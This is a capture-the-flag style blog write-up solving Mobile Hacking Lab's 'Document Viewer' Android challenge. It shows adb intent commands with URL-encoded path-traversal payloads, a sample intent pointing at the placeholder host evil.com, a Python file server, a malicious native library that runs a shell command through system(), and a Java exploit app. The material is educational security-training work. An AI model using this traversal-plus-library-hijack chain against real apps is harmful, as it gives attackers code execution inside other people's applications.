6 minute read

Hello everyone! In this blog post , I will try to explain my solution steps for Document Viewer challenge from Mobile Hacking Lab.

Static Analysis

Instead of solving challenge on Corellium instance,i downloaded base.apk from lab and solved on my local setup with Genymotion emulator.

When we open the app in emulator, it opens a page with “load pdf” button. When we press the button, it opens the file manager for us to select a pdf file. Let’s open it with jadx to understand the app.

When we examine the manifest file, we see that an intent filter is defined for MainActivity. To properly trigger this activity we need to send intent with http/https or file scheme and VIEW action.

# Sample intent
adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW -d "http://evil.com

But we need to know what happened when this activity triggered. To undestand this, lets analyze MainActivity

Inside the onCreate function, 3 method called after setting the view of activity. After that, if proFeaturesEnabled boolean is true, initProFeatures function will be called and as seen on line 29, initProFeatures is loaded from native library.

Let’s analyze the functions one by one. I will skip the setLoadButtonListener function because, as the name suggests, in this function, after pressing the button, the path of the selected pdf file is taken, the file is processed and displayed on the screen.

handleIntent Function

handleIntent function handle the coming intent and after checking the action and uri, sends the uri to CopyFileFromUri function. After copying file from uri, it renders the pdf. So where and how does it copy the file from the uri?

copyFileFromUri fıunction is responsible for parsing the uri that comes with intent. It takes the last part of url with getLastPathSegment and uses it as filename. If last part is empty, filename will be “download.pdf”. After that, we will see the line started with BuildersKt. I didnt write any line of kotlin code before and i searched that method on google. According to this documentation, launch method start a new coroutine without blocking current thread. In documentation, last argument of launch function is the code that will run when coroutine start but in jadx the last arg is null.

As i understand (just guessing) when we created this coroutine, firstly it will set variables with arguments and call the invoke function( overridden Function2). Inside the invoke function, invokeSuspend will be called. (If any kotlin developer is reading this, I would be very happy if he/she could tell me the meaning of this piece of code :D)

invokeSuspend function will download file from given url and save it as outfile.

loadProLibrary Function

This functioon tries to load a native library named libdocviewer_pro.so from libraryfolder directory.

getApplicationContext().getFilesDir() -> /data/data/com.mobilesecuritylab/files
Build.SUPPORTED_ABIS[0] -> x86_64 (for genymotion vm on my pc)

Final lib path -> "/data/data/com.mobilesecuritylab/files/native-libraries/x86_64/libdocviewer_pro.so"

If native library succesfully loaded, proFeaturesEnabled boolean will be settled as true. But the problem here is that this app doesn’t have any native library inside itself. Because of that when you run the app you will see the error log on logcat. If app can find the native lib, it will call the initProFeatures in MainActivity.(İts important for exploitation part :))

Finding vulnerability

When analyzing the apk we saw that this apk can load pdf files from given url and after that trying to load a library file that does not exist. If we can make the application load the library file we wrote maybe we can code execution with this application’s permissions. To achive this code execution we need to find directory traversal to write our file the native lib directory.

Lets get back to our “intent” :) I wrote a small python script to serve my testing files on localhost. It will return the pdf file to coming requests.

#proudly stolen from : https://stackoverflow.com/questions/46105356/serve-a-file-from-pythons-http-server-correct-response-with-a-file
from http.server import BaseHTTPRequestHandler, HTTPServer
class MyHackyServer(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        exploit_file = open('testo.pdf', 'rb')
        self.wfile.write(exploit_file.read())
        self.end_headers()


myServer = HTTPServer(('localhost', 1234), MyHackyServer)
myServer.serve_forever()

adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW -d "http://10.0.3.2:1234/testo.pdf"

# 10.0.3.2 is the address of localhost of host machine for genymotion, if you are using Android Studio emulators, this ip will be 10.0.2.2 for you.

As you can see in video, app gets the url from our intent and download our test file from server. After that it saves this file as “testo.pdf” in Downloads folder and render the file. For writing file to another directory we can try path traversal with ../ characters.

I gave the app’s local storage to save the file but it saved the file in the Downloads folder again. getLastPathSegment fucntion parsed the our uri with / chars and file saved with original name. Lets take a look at source code of getLastPathSegment

It gets the segments of uri and returns the last one. For getting segments it calls getPathSegments function.

This function gets uri and parses with / characters and decode the strings between slashes. As i understand, the decoding process applied one time for every segment. İf we give our malicious url as url-encoded, this function will split our url from the slash and return the encoded part as last segment after decoding. Lets send intent with encoded url.

adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW -d "http://10.0.3.2:1234/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Ftest.pdf"

# the encoded part after the port number will be decoded and returned as last segment

Yes! It worked. We can write file into the application directory. Next step is preparing a proper library file and write into a native lib folder.

For creating my native library, i created a c++ project with same name of target app in Android Studio. After that i changed the given c++ file little bit and added my hacky initProFeatures function. During this steps, i watched Laurie’s video(thx a lot for great videos) about translating java code into native code on Android. Here is my native lib code:

#include <jni.h>
#include <string>

extern "C" JNIEXPORT jstring JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_stringFromJNI(
        JNIEnv* env,
        jobject /* this */) {
    std::string hello = "Hello from C++";
    return env->NewStringUTF(hello.c_str());
}


extern "C" JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env, jobject /* this */) {
    system("echo \"hacked by sh4d0wless\" > /data/data/com.mobilehackinglab.documentviewer/hacked.txt");
}

After building apk, i extracted the x86_64 version of this lib file with apktool and putted it to directory that my python server running.(Also changed the file name inside python script with libdocviewer_pro.so)

Here is the PoC:

adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW -d "http://10.0.3.2:1234/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so"

It works :)

If you want to create an app for exploitation instead of adb commands, here is the code that i wrote:

package com.mobilehackinglab.dv_exploit;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Uri uri = Uri.parse("http://10.0.3.2:1234/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so");
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setClassName("com.mobilehackinglab.documentviewer","com.mobilehackinglab.documentviewer.MainActivity");
        intent.setData(uri);
        startActivity(intent);
    }
}

And here is the PoC video:

NOTES:

  • App trigger the loading of the native lib on start, because of that we need to run the app for second time to trigger our exploit code.
  • We dont have to write our code inside the initProFeatures function. We can use the JNI_OnLoad fucntion to trigger our shell commands. Because JNI_OnLoad called when library loaded(reference). I learned this information from this twitch stream.

Thanks for reading :) See you in next writeup!